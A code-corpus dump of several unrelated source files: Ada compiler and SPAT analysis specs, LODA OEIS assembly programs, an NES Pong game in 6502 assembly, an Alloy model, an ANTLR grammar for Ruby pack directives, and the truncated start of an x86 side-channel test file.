18 => RE_SetU_18,
19 => RE_Set_19,
20 => RE_SetU_20,
21 => RE_Set_21,
22 => RE_SetU_22,
23 => RE_Set_23,
24 => RE_SetU_24,
25 => RE_Set_25,
26 => RE_SetU_26,
27 => RE_Set_27,
28 => RE_SetU_28,
29 => RE_Set_29,
30 => RE_SetU_30,
31 => RE_Set_31,
32 => RE_Null,
33 => RE_Set_33,
34 => RE_SetU_34,
35 => RE_Set_35,
36 => RE_SetU_36,
37 => RE_Set_37,
38 => RE_SetU_38,
39 => RE_Set_39,
40 => RE_SetU_40,
41 => RE_Set_41,
42 => RE_SetU_42,
43 => RE_Set_43,
44 => RE_SetU_44,
45 => RE_Set_45,
46 => RE_SetU_46,
47 => RE_Set_47,
48 => RE_SetU_48,
49 => RE_Set_49,
50 => RE_SetU_50,
51 => RE_Set_51,
52 => RE_SetU_52,
53 => RE_Set_53,
54 => RE_SetU_54,
55 => RE_Set_55,
56 => RE_SetU_56,
57 => RE_Set_57,
58 => RE_SetU_58,
59 => RE_Set_59,
60 => RE_SetU_60,
61 => RE_Set_61,
62 => RE_SetU_62,
63 => RE_Set_63);
-----------------
-- Subprograms --
-----------------
procedure Create_Packed_Array_Impl_Type (Typ : Entity_Id);
-- Typ is a array type or subtype to which pragma Pack applies. If the
-- Packed_Array_Impl_Type field of Typ is already set, then the call has
-- no effect, otherwise a suitable type or subtype is created and stored in
-- the Packed_Array_Impl_Type field of Typ. This created type is an Itype
-- so that Gigi will simply elaborate and freeze the type on first use
-- (which is typically the definition of the corresponding array type).
--
-- Note: although this routine is included in the expander package for
-- packed types, it is actually called unconditionally from Freeze,
-- whether or not expansion (and code generation) is enabled. We do this
-- since we want gigi to be able to properly compute type characteristics
-- (for the Data Decomposition Annex of ASIS, and possible other future
-- uses) even if code generation is not active. Strictly this means that
-- this procedure is not part of the expander, but it seems appropriate
-- to keep it together with the other expansion routines that have to do
-- with packed array types.
procedure Expand_Packed_Boolean_Operator (N : Node_Id);
-- N is an N_Op_And, N_Op_Or or N_Op_Xor node whose operand type is a
-- packed boolean array. This routine expands the appropriate operations
-- to carry out the logical operation on the packed arrays. It handles
-- both the modular and array representation cases.
procedure Expand_Packed_Element_Reference (N : Node_Id);
-- N is an N_Indexed_Component node whose prefix is a packed array. In
-- the bit packed case, this routine can only be used for the expression
-- evaluation case, not the assignment case, since the result is not a
-- variable. See Expand_Bit_Packed_Element_Set for how the assignment case
-- is handled in the bit packed case. For the enumeration case, the result
-- of this call is always a variable, so the call can be used for both the
-- expression evaluation and assignment cases.
procedure Expand_Bit_Packed_Element_Set (N : Node_Id);
-- N is an N_Assignment_Statement node whose name is an indexed
-- component of a bit-packed array. This procedure rewrites the entire
-- assignment statement with appropriate code to set the referenced
-- bits of the packed array type object. Note that this procedure is
-- used only for the bit-packed case, not for the enumeration case.
procedure Expand_Packed_Eq (N : Node_Id);
-- N is an N_Op_Eq node where the operands are packed arrays whose
-- representation is an array-of-bytes type (the case where a modular
-- type is used for the representation does not require any special
-- handling, because in the modular case, unused bits are zeroes.
procedure Expand_Packed_Not (N : Node_Id);
-- N is an N_Op_Not node where the operand is packed array of Boolean
-- in standard representation (i.e. component size is one bit). This
-- procedure expands the corresponding not operation. Note that the
-- non-standard representation case is handled by using a loop through
-- elements generated by the normal non-packed circuitry.
function Involves_Packed_Array_Reference (N : Node_Id) return Boolean;
-- N is the node for a name. This function returns true if the name
-- involves a packed array reference. A node involves a packed array
-- reference if it is itself an indexed component referring to a bit-
-- packed array, or it is a selected component whose prefix involves
-- a packed array reference.
procedure Expand_Packed_Address_Reference (N : Node_Id);
-- The node N is an attribute reference for the 'Address reference, where
-- the prefix involves a packed array reference. This routine expands the
-- necessary code for performing the address reference in this case.
procedure Expand_Packed_Bit_Reference (N : Node_Id);
-- The node N is an attribute reference for the 'Bit reference, where the
-- prefix involves a packed array reference. This routine expands the
-- necessary code for performing the bit reference in this case.
end Exp_Pakd;
|
oeis/203/A203469.asm | neoneye/loda-programs | 11 | 169835 | ; A203469: v(n)/A000178(n); v=A093883 and A000178=(superfactorials).
; Submitted by <NAME>(s4)
; 1,3,30,1050,132300,61122600,104886381600,674943865596000,16407885372638760000,1515727634953623371280000,534621388490302221024396480000,722849817707190846398223943885440000,3759035907022704558524683975387453632000000
add $0,1
mov $2,1
lpb $0
mov $1,$0
sub $0,1
add $1,$0
bin $1,$0
mul $2,$1
lpe
mov $0,$2
|
Classes/alias/info for/name/name of (info for (path to me)).applescript | looking-for-a-job/applescript-examples | 1 | 1899 | <filename>Classes/alias/info for/name/name of (info for (path to me)).applescript
#!/usr/bin/osascript
name of (info for (path to me)) |
programs/oeis/296/A296161.asm | neoneye/loda | 22 | 4639 | <reponame>neoneye/loda
; A296161: Sum of the larger parts of the partitions of n into two parts such that the smaller part is odd.
; 0,1,2,3,4,8,10,12,14,21,24,27,30,40,44,48,52,65,70,75,80,96,102,108,114,133,140,147,154,176,184,192,200,225,234,243,252,280,290,300,310,341,352,363,374,408,420,432,444,481,494,507,520,560,574,588,602
mov $2,$0
sub $2,1
div $2,4
sub $0,$2
mul $2,$0
add $0,$2
|
data/transition.asm | sinusoid-studios/rhythm-land | 11 | 105479 | <filename>data/transition.asm<gh_stars>10-100
INCLUDE "constants/hardware.inc"
INCLUDE "constants/transition.inc"
DEF CHANGE EQU (TRANSITION_END_POS - TRANSITION_START_POS) << 16
DEF START EQU TRANSITION_START_POS << 16
SECTION "Screen Transition Window Position Table", ROM0, ALIGN[8]
; Exponential ease-in
; Formula from <https://gizma.com/easing>
TransitionPosTable::
; Extra values for blocks above the bottom one (transition starts
; from the bottom of the screen)
REPT (SCRN_Y_B * TRANSITION_BLOCK_DIFFERENCE) - 1
DB TRANSITION_START_POS
ENDR
FOR TIME, 1, TRANSITION_DURATION + 1
DEF TIME_FRACTION = DIV(TIME << 16, TRANSITION_DURATION << 16)
DEF VALUE = (MUL(CHANGE, POW(2.0, MUL(10.0, TIME_FRACTION - 1.0))) + START) >> 16
; WX=166 doesn't work properly due to hardware bugs, and there
; isn't much to do about it but skip that value entirely.
; Also, since the start and end positions are set before and
; after the transition anyway, it's not necessary to include
; them in this table.
IF VALUE != 166 && VALUE != TRANSITION_START_POS && VALUE != TRANSITION_END_POS
DB VALUE
ENDC
ENDR
.end::
SECTION "Screen Transition Block Position Table", ROM0, ALIGN[8]
TransitionBlockLYCTable::
FOR Y, 1, SCRN_Y_B
DB Y * 8 - 1
ENDR
; Go back to the first block
DB 1 * 8 - 1
|
org.alloytools.alloy.extra/extra/models/book/chapter2/addressBook1f.als | chongliujlu/ColorfulAlloy | 89 | 192 | module tour/addressBook1f ----- Page 12
sig Name, Addr { }
sig Book {
addr: Name -> lone Addr
}
pred add [b, b': Book, n: Name, a: Addr] {
b'.addr = b.addr + n->a
}
pred showAdd [b, b': Book, n: Name, a: Addr] {
add [b, b', n, a]
#Name.(b'.addr) > 1
}
// This command generates an instance similar to Fig 2.5
run showAdd for 3 but 2 Book
|
data/pokemon/base_stats/hippopotas.asm | AtmaBuster/pokeplat-gen2 | 6 | 166669 | <gh_stars>1-10
db 0 ; species ID placeholder
db 68, 72, 78, 32, 38, 42
; hp atk def spd sat sdf
db GROUND, GROUND ; type
db 140 ; catch rate
db 66 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_F50 ; gender ratio
db 30 ; step cycles to hatch
INCBIN "gfx/pokemon/hippopotas/front.dimensions"
db GROWTH_SLOW ; growth rate
dn EGG_GROUND, EGG_GROUND ; egg groups
db 70 ; happiness
; tm/hm learnset
tmhm WATER_PULSE, ROAR, TOXIC, HIDDEN_POWER, SUNNY_DAY, PROTECT, FRUSTRATION, IRON_TAIL, EARTHQUAKE, RETURN, DOUBLE_TEAM, SANDSTORM, ROCK_TOMB, FACADE, SECRET_POWER, REST, ATTRACT, ENDURE, STEALTH_ROCK, CAPTIVATE, ROCK_SLIDE, SLEEP_TALK, NATURAL_GIFT, SWAGGER, SUBSTITUTE, STRENGTH, ROCK_SMASH, EARTH_POWER, MUD_SLAP, SNORE, SUPERPOWER
; end
|
oeis/038/A038718.asm | neoneye/loda-programs | 11 | 90366 | <reponame>neoneye/loda-programs<filename>oeis/038/A038718.asm<gh_stars>10-100
; A038718: Number of permutations P of {1,2,...,n} such that P(1)=1 and |P^-1(i+1)-P^-1(i)| equals 1 or 2 for i=1,2,...,n-1.
; Submitted by <NAME>(s2)
; 1,1,2,4,6,9,14,21,31,46,68,100,147,216,317,465,682,1000,1466,2149,3150,4617,6767,9918,14536,21304,31223,45760,67065,98289,144050,211116,309406,453457,664574,973981,1427439,2092014,3065996,4493436,6585451
add $0,1
seq $0,97333 ; Sum k=0..n, C(n-k, floor(k/2)).
sub $0,1
|
game.asm | nickfryar/pong | 0 | 175163 | <reponame>nickfryar/pong<gh_stars>0
.segment "HEADER"
.byte "NES", $1a
.byte $02
.byte $01
.byte %00000001
.byte $00, $00, $00, $00
.byte $00, $00, $00, $00, $00
.struct Entity
xpos .byte 1
ypos .byte 1
width .byte 1
height .byte 1
xspeed .byte 1
yspeed .byte 1
.endstruct
.segment "ZEROPAGE"
controller1: .res 1
controller2: .res 1
.segment "DATA"
; screen boundary constants
TOP_BOUNDARY = $10
BOT_BOUNDARY = $10
; paddle constants
PADDLE_WIDTH = $08
PADDLE_HEIGHT = $20
PADDLE_SPEED_Y = $04
; paddle 1 constants
PADDLE1_START_X = $10
PADDLE1_START_Y = $40
; paddle 2 constants
PADDLE2_START_X = $E7
PADDLE2_START_Y = $80
; ball constants
BALL_START_X = $7C
BALL_START_Y = $6C
BALL_WIDTH = $08
BALL_HEIGHT = $08
BALL_SPEED_X = $02
BALL_SPEED_Y = $04
; entities
ball: .res .sizeof(Entity)
paddle1: .res .sizeof(Entity)
paddle2: .res .sizeof(Entity)
.segment "STARTUP"
.segment "CODE"
WaitForVBlank:
BIT $2002
BPL WaitForVBlank
RTS
FlipSign:
EOR #$FF
CLC
ADC #%00000001
RTS
Reset:
SEI ; disable interrupts
CLD ; sisable decimal mode
; disable sound IRQ
LDX #$40
STX $4017
; initialize stack register
LDX #$FF
TXS
INX ; FF+1 -> 00
; zero out the PPU registers
STX $2000
STX $2001
STX $4010
JSR WaitForVBlank
TXA
ClearMem:
STA $0000, X ; $0000 => $00FF
STA $0100, X ; $0100 => $01FF
STA $0300, X
STA $0400, X
STA $0500, X
STA $0600, X
STA $0700, X
LDA #$FF
STA $0200, X ; $0200 => $02FF
LDA #$00
INX
BNE ClearMem
JSR WaitForVBlank
LDA #$02
STA $4014
NOP
LoadPalettes:
LDA #$3F
STA $2006
LDA #$00
STA $2006 ; 3F00
LDX #$00
LoadPalettesLoop:
LDA PaletteData, X
STA $2007 ; 3F00, 3F01, 3F02 -> 3F1F
INX
CPX #$20
BNE LoadPalettesLoop
LDX #$00
LoadSprites:
LDA SpriteData, X
STA $0200, X
INX
CPX #$40
BNE LoadSprites
CLI ; enable interrupts
LDA #%10010000
STA $2000 ; PPUCTRL
LDA #%00011110
STA $2001 ; PPUMASK
Initialize:
; initialize ball
LDA #BALL_START_X
STA ball+Entity::xpos
LDA #BALL_START_Y
STA ball+Entity::ypos
LDA #BALL_WIDTH
STA ball+Entity::width
LDA #BALL_HEIGHT
STA ball+Entity::height
LDA #BALL_SPEED_X
STA ball+Entity::xspeed
LDA #BALL_SPEED_Y
STA ball+Entity::yspeed
; initialize paddle 1
LDA #PADDLE1_START_X
STA paddle1+Entity::xpos
LDA #PADDLE1_START_Y
STA paddle1+Entity::ypos
LDA #PADDLE_WIDTH
STA paddle1+Entity::width
LDA #PADDLE_HEIGHT
STA paddle1+Entity::height
LDA #PADDLE_SPEED_Y
STA paddle1+Entity::yspeed
; initialize paddle 2
LDA #PADDLE2_START_X
STA paddle2+Entity::xpos
LDA #PADDLE2_START_Y
STA paddle2+Entity::ypos
LDA #PADDLE_WIDTH
STA paddle2+Entity::width
LDA #PADDLE_HEIGHT
STA paddle2+Entity::height
LDA #PADDLE_SPEED_Y
STA paddle2+Entity::yspeed
JSR WaitForVBlank
JMP Update
LatchControllers:
LDA #$01
STA $4016
LDA #$00
STA $4016
RTS
PollControllers:
LDX #$00
STX controller1
STX controller2
PollControllersLoop:
LDA $4016
LSR A
ROL controller1
LDA $4017
LSR A
ROL controller2
INX
CPX #$08
BNE PollControllersLoop
RTS
DetectCollisionLeftPaddle:
; ball.x < paddle.x + paddle.width
CLC
LDA paddle1+Entity::xpos
ADC paddle1+Entity::width
CMP ball+Entity::xpos
LDA #$00
BCC DetectCollisionLeftPaddleEnd
; paddle.y < ball.y + ball.height
CLC
LDA ball+Entity::ypos
ADC ball+Entity::height
CMP paddle1+Entity::ypos
LDA #$00
BCC DetectCollisionLeftPaddleEnd
; ball.y < paddle.y + paddle.height
CLC
LDA paddle1+Entity::ypos
ADC paddle1+Entity::height
CMP ball+Entity::ypos
LDA #$00
BCC DetectCollisionLeftPaddleEnd
LDA #$01
DetectCollisionLeftPaddleEnd:
RTS
DetectCollisionRightPaddle:
; paddle.x < ball.x + ball.width
CLC
LDA ball+Entity::xpos
ADC ball+Entity::width
CMP paddle2+Entity::xpos
LDA #$00
BCC DetectCollisionRightPaddleEnd
; paddle.y < ball.y + paddle.height
CLC
LDA ball+Entity::ypos
ADC ball+Entity::height
CMP paddle2+Entity::ypos
LDA #$00
BCC DetectCollisionRightPaddleEnd
; ball.y < paddle.y + paddle.height
CLC
LDA paddle2+Entity::ypos
ADC paddle2+Entity::height
CMP ball+Entity::ypos
LDA #$00
BCC DetectCollisionRightPaddleEnd
LDA #$01
DetectCollisionRightPaddleEnd:
RTS
DidBallPassLeftBoundary:
LDA paddle1+Entity::xpos
CMP ball+Entity::xpos
LDA #$00
BCC :+
LDA #$01
:
RTS
DidBallPassRightBoundary:
LDA paddle2+Entity::xpos
CMP ball+Entity::xpos
LDA #$00
BCS :+
LDA #$01
:
RTS
BallScore:
; reset ball position
LDA #BALL_START_X
STA ball+Entity::xpos
LDA #BALL_START_Y
STA ball+Entity::ypos
; flip ball x speed
LDA ball+Entity::xspeed
JSR FlipSign
STA ball+Entity::xspeed
; flip ball y speed
LDA ball+Entity::yspeed
JSR FlipSign
STA ball+Entity::yspeed
UpdateBallX:
; update xpos
SEC
LDA ball+Entity::xspeed
CMP #$00
BCC :+
; if xpeed < 0, clear carry before LDA
CLC
:
ADC ball+Entity::xpos
STA ball+Entity::xpos
RTS
UpdateBallY:
; update ypos
SEC
LDA ball+Entity::yspeed
CMP #$00
BCC :+
; if yspeed < 0, clear carry before LDA
CLC
:
LDA ball+Entity::ypos
ADC ball+Entity::yspeed
STA ball+Entity::ypos
RTS
DidBallPassTopBoundary:
LDA ball+Entity::ypos
SEC
SBC #TOP_BOUNDARY
LDA #$00
BCS :+
LDA #$01
:
RTS
BallDidPassTopBoundary:
; set ball.ypos = top boundary + 1
LDA #TOP_BOUNDARY
CLC
ADC #$01
STA ball+Entity::ypos
; flip yspeed
LDA ball+Entity::yspeed
JSR FlipSign
STA ball+Entity::yspeed
RTS
DidBallPassBottomBoundary:
LDA ball+Entity::ypos
CLC
ADC ball+Entity::height
ADC #BOT_BOUNDARY
ADC #$10
LDA #$00
BCC :+
LDA #$01
:
RTS
BallDidPassBottomBoundary:
; set ball.ypos = 240 - bottom boundary - ball.height - 1
LDA #$F0
SEC
SBC #BOT_BOUNDARY
SBC ball+Entity::height
SBC #$01
STA ball+Entity::ypos
; flip yspeed
LDA ball+Entity::yspeed
JSR FlipSign
STA ball+Entity::yspeed
RTS
UpdateBall:
; update ball position
JSR UpdateBallX
JSR UpdateBallY
; check top screen boundary
JSR DidBallPassTopBoundary
CMP #$00
BEQ :+
JSR BallDidPassTopBoundary
:
; check bottom screen boundary
JSR DidBallPassBottomBoundary
CMP #$00
BEQ :+
JSR BallDidPassBottomBoundary
:
; check left screen boundary
JSR DidBallPassLeftBoundary
CMP #$00
BEQ :+
JSR BallScore
:
; check right screen boundary
JSR DidBallPassRightBoundary
CMP #$00
BEQ :+
JSR BallScore
:
; check left paddle
JSR DetectCollisionLeftPaddle
CMP #$00
BEQ :+
LDA ball+Entity::xspeed
JSR FlipSign
STA ball+Entity::xspeed
:
; check right paddle
JSR DetectCollisionRightPaddle
CMP #$00
BEQ :+
LDA ball+Entity::xspeed
JSR FlipSign
STA ball+Entity::xspeed
:
RTS
UpdatePaddle1:
; down pressed
LDA controller1
AND #%00000100
BEQ :+
CLC
LDA paddle1+Entity::ypos
ADC paddle1+Entity::yspeed
STA paddle1+Entity::ypos
:
; up pressed
LDA controller1
AND #%00001000
BEQ :+
SEC
LDA paddle1+Entity::ypos
SBC paddle1+Entity::yspeed
STA paddle1+Entity::ypos
:
RTS
UpdatePaddle2:
; down pressed
LDA controller2
AND #%00000100
BEQ :+
CLC
LDA paddle2+Entity::ypos
ADC paddle2+Entity::yspeed
STA paddle2+Entity::ypos
:
; up pressed
LDA controller2
AND #%00001000
BEQ :+
SEC
LDA paddle2+Entity::ypos
SBC paddle2+Entity::yspeed
STA paddle2+Entity::ypos
:
RTS
Update:
; get controller inputs
JSR LatchControllers
JSR PollControllers
; update sprites
JSR UpdateBall
JSR UpdatePaddle1
JSR UpdatePaddle2
; wait for next frame
JSR WaitForVBlank
JMP Update
DrawBall:
LDA ball+Entity::xpos
STA $0223
LDA ball+Entity::ypos
STA $0220
RTS
DrawPaddle1:
CLC
LDA paddle1+Entity::xpos
STA $0203
STA $0207
STA $020B
STA $020F
LDA paddle1+Entity::ypos
STA $0200
ADC #$08
STA $0204
ADC #$08
STA $0208
ADC #$08
STA $020C
RTS
DrawPaddle2:
CLC
LDA paddle2+Entity::xpos
STA $0213
STA $0217
STA $021B
STA $021F
LDA paddle2+Entity::ypos
STA $0210
ADC #$08
STA $0214
ADC #$08
STA $0218
ADC #$08
STA $021C
RTS
Draw:
; draw sprites
JSR DrawBall
JSR DrawPaddle1
JSR DrawPaddle2
LDA #$02
STA $4014 ; set PPU sprite data address
RTS
NMI:
JSR Draw
RTI
PaletteData:
.byte $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; background palette data
.byte $20,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; sprite palette data
SpriteData:
.incbin "spritedata.bin"
.segment "VECTORS"
.word NMI
.word Reset
.segment "CHARS"
.incbin "game.chr" |
Task/Conditional-structures/AppleScript/conditional-structures.applescript | mullikine/RosettaCodeData | 1 | 3322 | <filename>Task/Conditional-structures/AppleScript/conditional-structures.applescript<gh_stars>1-10
if myVar is "ok" then return true
set i to 0
if i is 0 then
return "zero"
else if i mod 2 is 0 then
return "even"
else
return "odd"
end if
|
programs/oeis/272/A272298.asm | karttu/loda | 1 | 242816 | ; A272298: a(n) = n^4 + 324.
; 324,325,340,405,580,949,1620,2725,4420,6885,10324,14965,21060,28885,38740,50949,65860,83845,105300,130645,160324,194805,234580,280165,332100,390949,457300,531765,614980,707605,810324,923845,1048900,1186245,1336660,1500949,1679940,1874485,2085460,2313765,2560324,2826085,3112020,3419125,3748420,4100949,4477780,4880005,5308740,5765125,6250324,6765525,7311940,7890805,8503380,9150949,9834820,10556325,11316820,12117685,12960324,13846165,14776660,15753285,16777540,17850949,18975060,20151445,21381700,22667445,24010324,25412005,26874180,28398565,29986900,31640949,33362500,35153365,37015380,38950405,40960324,43047045,45212500,47458645,49787460,52200949,54701140,57290085,59969860,62742565,65610324,68575285,71639620,74805525,78075220,81450949,84934980,88529605,92237140,96059925,100000324,104060725,108243540,112551205,116986180,121550949,126248020,131079925,136049220,141158485,146410324,151807365,157352260,163047685,168896340,174900949,181064260,187389045,193878100,200534245,207360324,214359205,221533780,228886965,236421700,244140949,252047700,260144965,268435780,276923205,285610324,294500245,303596100,312901045,322418260,332150949,342102340,352275685,362674260,373301365,384160324,395254485,406587220,418161925,429982020,442050949,454372180,466949205,479785540,492884725,506250324,519885925,533795140,547981605,562448980,577200949,592241220,607573525,623201620,639129285,655360324,671898565,688747860,705912085,723395140,741200949,759333460,777796645,796594500,815731045,835210324,855036405,875213380,895745365,916636500,937890949,959512900,981506565,1003876180,1026626005,1049760324,1073283445,1097199700,1121513445,1146229060,1171350949,1196883540,1222831285,1249198660,1275990165,1303210324,1330863685,1358954820,1387488325,1416468820,1445900949,1475789380,1506138805,1536953940,1568239525,1600000324,1632241125,1664966740,1698182005,1731891780,1766100949,1800814420,1836037125,1871774020,1908030085,1944810324,1982119765,2019963460,2058346485,2097273940,2136750949,2176782660,2217374245,2258530900,2300257845,2342560324,2385443605,2428912980,2472973765,2517631300,2562890949,2608758100,2655238165,2702336580,2750058805,2798410324,2847396645,2897023300,2947295845,2998219860,3049800949,3102044740,3154956885,3208543060,3262808965,3317760324,3373402885,3429742420,3486784725,3544535620,3603000949,3662186580,3722098405,3782742340,3844124325
mov $1,$0
pow $1,4
add $1,324
|
src/spat-timing_item.ads | yannickmoy/spat | 0 | 11498 | <gh_stars>0
------------------------------------------------------------------------------
-- Copyright (C) 2020 by Heisenbug Ltd. (<EMAIL>)
--
-- This work is free. You can redistribute it and/or modify it under the
-- terms of the Do What The Fuck You Want To Public License, Version 2,
-- as published by Sam Hocevar. See the LICENSE file for more details.
------------------------------------------------------------------------------
pragma License (Unrestricted);
------------------------------------------------------------------------------
--
-- SPARK Proof Analysis Tool
--
-- S.P.A.T. - Object representing the "timing" JSON object.
--
------------------------------------------------------------------------------
private with Ada.Tags;
with SPAT.Entity;
with SPAT.Field_Names;
with SPAT.Preconditions;
package SPAT.Timing_Item is
use all type GNATCOLL.JSON.JSON_Value_Type;
---------------------------------------------------------------------------
-- Has_Required_Fields
---------------------------------------------------------------------------
function Has_Required_Fields (Object : in JSON_Value;
Version : in File_Version) return Boolean
is
((case Version is
when GNAT_CE_2019 =>
Preconditions.Ensure_Field (Object => Object,
Field => Field_Names.Proof,
Kind => JSON_Float_Type),
-- Here, we don't really check for required fields anymore, there
-- is a whole bunch of items starting with "gnatwhy3.". If they are not
-- present that means the "corresponding phase wasn't run at all" (@kanigsson)
-- and we just assume 0.0 s.
when GNAT_CE_2020 =>
True) and
Preconditions.Ensure_Field (Object => Object,
Field => Field_Names.Flow_Analysis,
Kind => JSON_Float_Type));
-- Information obtained from the timing section of a .spark file.
type T is new Entity.T with private;
---------------------------------------------------------------------------
-- Create
---------------------------------------------------------------------------
not overriding
function Create (Object : in JSON_Value;
Version : in File_Version) return T with
Pre => Has_Required_Fields (Object => Object,
Version => Version);
---------------------------------------------------------------------------
-- Flow
---------------------------------------------------------------------------
not overriding
function Flow (This : in T) return Duration;
---------------------------------------------------------------------------
-- Proof
---------------------------------------------------------------------------
not overriding
function Proof (This : in T) return Duration;
---------------------------------------------------------------------------
-- Version
---------------------------------------------------------------------------
not overriding
function Version (This : in T) return File_Version;
None : constant T;
private
type T is new Entity.T with
record
Version : File_Version; -- version of file encountered.
Proof : Duration; -- Total time the prover spent.
Flow : Duration; -- Total time of flow analysis.
end record;
---------------------------------------------------------------------------
-- Image
---------------------------------------------------------------------------
overriding
function Image (This : in T) return String is
(Ada.Tags.External_Tag (T'Class (This)'Tag) & ": (" &
"Version => " & This.Version'Image &
", Proof => " & This.Proof'Image &
", Flow => " & This.Flow'Image & ")");
None : constant T := T'(Entity.T with
Version => File_Version'First,
Proof => 0.0,
Flow => 0.0);
---------------------------------------------------------------------------
-- Flow
---------------------------------------------------------------------------
not overriding
function Flow (This : in T) return Duration is
(This.Flow);
---------------------------------------------------------------------------
-- Proof
---------------------------------------------------------------------------
not overriding
function Proof (This : in T) return Duration is
(This.Proof);
---------------------------------------------------------------------------
-- Version
---------------------------------------------------------------------------
not overriding
function Version (This : in T) return File_Version is
(This.Version);
end SPAT.Timing_Item;
|
test/Fail/UselessAbstractAbstract.agda | cruhland/agda | 1,989 | 10825 | <gh_stars>1000+
{-# OPTIONS --warning=error #-}
module UselessAbstractAbstract where
A : Set₁
abstract
abstract
A = Set
|
truffle/src/main/antlr4/org/jruby/truffle/core/format/pack/Pack.g4 | enebo/jruby | 0 | 1382 | /*
* Copyright (c) 2015, 2016 Oracle and/or its affiliates. All rights reserved. This
* code is released under a tri EPL/GPL/LGPL license. You can use it,
* redistribute it and/or modify it under the terms of the:
*
* Eclipse Public License version 1.0
* GNU General Public License version 2
* GNU Lesser General Public License version 2.1
*/
grammar Pack;
sequence : directive* ;
directive : 'c' count? # int8
| 'C' count? # uint8
| 's' nativeOptLittle count? # int16Little
| 's' nativeOptBig count? # int16Big
| 's' NATIVE? count? # int16Native
| ('S' nativeOptLittle | 'v') count? # uint16Little
| ('S' nativeOptBig | 'n') count? # uint16Big
| 'S' NATIVE? count? # uint16Native
| ('i' nativeOptLittle | 'l' LITTLE) count? # int32Little
| ('i' nativeOptBig | 'l' BIG) count? # int32Big
| ('i' NATIVE? | 'l') count? # int32Native
| (('I' nativeOptLittle | 'L' LITTLE) | 'V') count? # uint32Little
| (('I' nativeOptBig | 'L' BIG) | 'N') count? # uint32Big
| ('I' NATIVE? | 'L') count? # uint32Native
| ('q' nativeOptLittle | 'l' nativeLittle) count? # int64Little
| ('q' nativeOptBig | 'l' nativeBig) count? # int64Big
| ('q' NATIVE? | 'l' NATIVE) count? # int64Native
| ('Q' nativeOptLittle | 'L' nativeLittle) count? # uint64Little
| ('Q' nativeOptBig | 'L' nativeBig) count? # uint64Big
| ('Q' NATIVE? | 'L' NATIVE) count? # uint64Native
| 'U' count? # utf8Character
| 'w' count? # berInteger
| ('d' | 'D') count? # f64Native
| ('f' | 'F') count? # f32Native
| 'E' count? # f64Little
| 'e' count? # f32Little
| 'G' count? # f64Big
| 'g' count? # f32Big
| 'A' count? # binaryStringSpacePadded
| 'a' count? # binaryStringNullPadded
| 'Z' count? # binaryStringNullStar
| 'B' count? # bitStringMSBFirst
| 'b' count? # bitStringMSBLast
| 'H' count? # hexStringHighFirst
| 'h' count? # hexStringLowFirst
| 'u' count? # uuString
| 'M' count? # mimeString
| 'm' count? # base64String
| ('p' | 'P') # pointer
| '@' count? # at
| 'X' count? # back
| 'x' count? # nullByte
| subSequence # subSequenceAlternate
| ('v' | 'n' | 'V' | 'N' | 'U' | 'w' | 'd' | 'D' |
'f' | 'F' | 'E' | 'e' | 'g' | 'G' | 'A' | 'a' |
'Z' | 'B' | 'b' | 'H' | 'h' | 'u' | 'M' |
'm' | 'p' | 'P' | 'X' | 'x') NATIVE #errorDisallowedNative ;
count : INT | '*' ;
subSequence : '(' directive+ ')' INT? ;
nativeOptLittle : NATIVE* LITTLE NATIVE* ;
nativeOptBig : NATIVE* BIG NATIVE* ;
nativeLittle : NATIVE+ LITTLE NATIVE* | NATIVE* LITTLE NATIVE+ ;
nativeBig : NATIVE+ BIG NATIVE* | NATIVE* BIG NATIVE+ ;
LITTLE : '<' ;
BIG : '>' ;
NATIVE : [!_] ;
INT : [0-9]+ ;
WS : [ \t\n\u000b\f\r\u0000]+ -> skip ;
COMMENT : '#' .*? (('\r'? '\n') | EOF) -> skip ;
|
libsrc/_DEVELOPMENT/string/z80/asm__strrstrip.asm | Frodevan/z88dk | 640 | 172689 | <filename>libsrc/_DEVELOPMENT/string/z80/asm__strrstrip.asm
; ===============================================================
; Dec 2013
; ===============================================================
;
; char *_strrstrip(const char *s)
;
; Return ptr to first whitespace char of the trailing whitespace
; chars in s.
;
; If s consists entirely of whitespace then s is returned.
;
; See also strrstrip() that modifies s.
;
; ===============================================================
SECTION code_clib
SECTION code_string
PUBLIC asm__strrstrip
EXTERN asm_strlen, asm_isspace
asm__strrstrip:
; enter : hl = char *s
;
; exit : hl = ptr to first ws char of trailing ws chars in s
; de = char *s
; carry reset if s is entirely whitespace
;
; uses : af, bc, de, hl
ld e,l
ld d,h ; de = char *s
; find strlen(s) and terminating NUL
call asm_strlen
jr z, exit ; if strlen(s) == 0
ld c,l
ld b,h ; bc = strlen(s)
add hl,de ; hl = s + strlen(s)
dec hl ; hl points at last char in s
loop:
ld a,(hl)
call asm_isspace
jr c, not_ws
IF __CPU_GBZ80__ || __CPU_INTEL__
dec hl
dec bc
ld a,b
or c
jr nz,loop
ELSE
cpd ; hl--, bc--
jp pe, loop
ENDIF
all_ws:
exit:
ld l,e
ld h,d
ret
not_ws:
inc hl ; past non-ws char
ret
|
data/mapHeaders/lavendertown.asm | adhi-thirumala/EvoYellow | 16 | 104280 | <filename>data/mapHeaders/lavendertown.asm
LavenderTown_h:
db OVERWORLD ; tileset
db LAVENDER_TOWN_HEIGHT, LAVENDER_TOWN_WIDTH ; dimensions (y, x)
dw LavenderTownBlocks, LavenderTownTextPointers, LavenderTownScript ; blocks, texts, scripts
db NORTH | SOUTH | WEST ; connections
NORTH_MAP_CONNECTION LAVENDER_TOWN, ROUTE_10, 0, 0, Route10Blocks
SOUTH_MAP_CONNECTION LAVENDER_TOWN, ROUTE_12, 0, 0, Route12Blocks, 1
WEST_MAP_CONNECTION LAVENDER_TOWN, ROUTE_8, 0, 0, Route8Blocks
dw LavenderTownObject ; objects
|
bootsector/print_string.asm | mstniy/cerius | 2 | 173495 | [bits 16]
; Prints the zero-terminated string at bx to the screen.
print_string:
pusha
mov ah, 0x0e
pstring_loop_cond:
cmp byte [bx], 0
je pstring_loop_end
mov al, [bx]
int 0x10
add bx, 1
jmp pstring_loop_cond
pstring_loop_end:
popa
ret |
Transynther/x86/_processed/AVXALIGN/_zr_/i3-7100_9_0xca_notsx.log_21829_264.asm | ljhsiun2/medusa | 9 | 5339 | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r14
push %r8
push %rbp
push %rcx
push %rdi
lea addresses_A_ht+0x1d442, %r12
nop
nop
nop
nop
nop
